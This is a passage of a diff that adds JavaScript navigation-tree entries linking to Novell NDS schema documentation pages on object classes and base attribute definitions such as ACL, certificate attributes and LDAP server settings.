+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Graphical View of Object Class Inheritance ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hzah4ydk.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Alias and Bindery Object Classes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hw8hr9jx.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Tree Root, domain, and Unknown ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hu1mitlx.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Computer, Country, Device, and Printer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hnf7uif9.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("List and Locality ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h48ynbap.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Organizational Role and Partition ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hrfg9w4e.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("ndsLoginProperties, Organization, and Organizational Unit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hzvb48kg.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("ndsLoginProperties, Person, Organizational Person, and User ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hknzjmiv.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Directory Map, Profile, Queues, Resource, and Volume ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h8jovuwl.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Servers (AFP, Messaging, NCP, Print) and CommExec ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/ha47y85g.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("External Entity, Group, and Message Routing Group ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hds3w6ie.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Base Attribute Definitions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hf9qbbni.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Aliased Object Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk782.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Account Balance ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk788.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("ACL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk794.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Allow Unlimited Credit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk800.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("associatedName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a7bbra4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("attributeCertificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk806.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:A Encryption Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk812.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:B Encryption Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk818.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:Contents ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk824.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:Current Encryption Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk830.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:File Link ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk836.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:Link List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk842.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:Path ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk848.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:Policy ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk854.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:Type ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk860.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("authorityRevocationList ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk866.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Authority Revocation ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk872.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("AuxClass Object Class Backup ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk878.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Auxiliary Class Flag ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk884.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Back Link ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk890.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Object Restriction ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk896.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Property ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk902.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Restriction Level ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk908.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Type ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk914.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("businessCategory ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk920.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk932.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("cACertificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk938.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("CA Private Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk944.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("CA Public Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk950.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Cartridge ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk956.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("certificateRevocationList ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk962.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Certificate Revocation ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk968.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Certificate Validity Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk974.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("crossCertificatePair ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk926.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk986.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Convergence ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk998.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Cross Certificate Pair ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1004.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("dc ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1034.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Default Queue ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1040.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("deltaRevocationList ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1052.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("departmentNumber ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3on5am.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Description ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1058.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("destinationIndicator ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1064.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Detect Intruder ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1070.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Device ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1076.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("dmdName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1082.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("dn ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1088.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("dnQualifier ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1094.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DS Revision ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1100.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("EMail Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1106.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("employeeType ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3on9iy.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("enhancedSearchGuide ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1120.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Equivalent To Me ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1138.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("External Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1144.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("External Synchronizer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1150.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Facsimile Telephone Number ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1156.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Full Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1162.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Generational Qualifier ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1168.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("generationQualifier ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1174.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1180.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Given Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1186.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1192.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("GUID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1198.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("High Convergence Sync Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1216.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Higher Privileges ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1222.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Home Directory ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1228.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Home Directory Rights ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1234.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("homePhone ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3onbgn.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("homePostalAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3ondem.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("houseIdentifier ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1258.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Host Device ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1240.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Host Resource Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1246.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Host Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1252.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Inherited ACL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1264.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Initials ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1270.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("internationaliSDNNumber ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1276.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Internet EMail Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1282.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Intruder Attempt Reset Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1288.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Intruder Lockout Reset Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1294.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("knowledgeInformation ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1312.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1318.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Language ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1324.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Last Login Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1330.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Last Referenced Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1336.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP ACL v11 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1342.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Allow Clear Text Password ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1348.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Anonymous Identity ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1354.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Attribute Map v11 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1360.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Backup Log Filename ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1366.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Class Map v11 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1378.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Enable SSL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1384.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Enable TCP ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1390.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Enable UDP ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1396.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Group ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1402.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Host Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1408.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Log Filename ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1414.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Log Level ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1420.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Log Size Limit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1426.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Referral ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1432.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Screen Level ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1438.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Search Size Limit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1444.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Search Time Limit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1450.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1456.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Server Bind Limit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1462.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
